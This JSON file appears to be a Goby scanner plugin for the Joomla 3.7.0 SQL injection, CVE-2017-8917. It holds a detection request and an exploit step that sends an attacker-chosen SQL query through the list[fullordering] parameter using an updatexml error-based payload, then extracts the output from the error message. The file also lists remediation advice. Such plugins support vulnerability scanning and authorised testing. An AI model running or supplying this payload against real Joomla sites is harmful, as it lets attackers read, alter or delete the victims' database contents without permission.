{
  "Name": "Joomla 3.7.0 SQLI (CVE-2017-8917)",
  "Description": "SQL injection vulnerability in Joomla! 3.7.x before 3.7.1 allows attackers to execute arbitrary SQL commands via unspecified vectors.",
  "Product": "Joomla",
  "Homepage": "https://www.joomla.org/",
  "DisclosureDate": "2021-06-16",
  "Author": "sharecast.net@gmail.com",
  "GobyQuery": "app=\"Joomla\"",
  "Level": "2",
  "Impact": "<p>Hackers can execute SQL statements directly, so as to control the whole server: data acquisition, data modification, data deletion, etc.<br></p>",
  "Recommendation": "<p>1. the data input by users should be strictly filtered in the web code.</p><p>2. deploy web application firewall to monitor database operation.</p><p>3. upgrade to the latest version.</p>",
  "References": [
    "https://github.com/vulhub/vulhub/tree/master/joomla/CVE-2017-8917"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "name": "sql",
      "type": "input",
      "value": "select+database()"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=1,updatexml(0x23,concat(0x7c,substring(md5(0x0c),1,10),0x7c),0x7c)",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$body",
            "operation": "contains",
            "value": "|58c89562f5|",
            "bz": ""
          }
        ]
      },
      "SetVariable": []
    }
  ],
  "ExploitSteps": [
    "AND",
    {
      "Request": {
        "method": "GET",
        "uri": "/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml(0x23,concat(1,({{{sql}}})),1)",
        "follow_redirect": false,
        "header": {},
        "data_type": "text",
        "data": ""
      },
      "ResponseTest": {
        "type": "group",
        "operation": "AND",
        "checks": [
          {
            "type": "item",
            "variable": "$code",
            "operation": "==",
            "value": "500",
            "bz": ""
          }
        ]
      },
      "SetVariable": [
        "output|lastbody|regex|XPATH syntax error:\\s+'(.*?)'"
      ]
    }
  ],
  "Tags": [
    "SQL Injection"
  ],
  "CVEIDs": null,
  "CVSSScore": "0.0",
  "AttackSurfaces": {
    "Application": null,
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}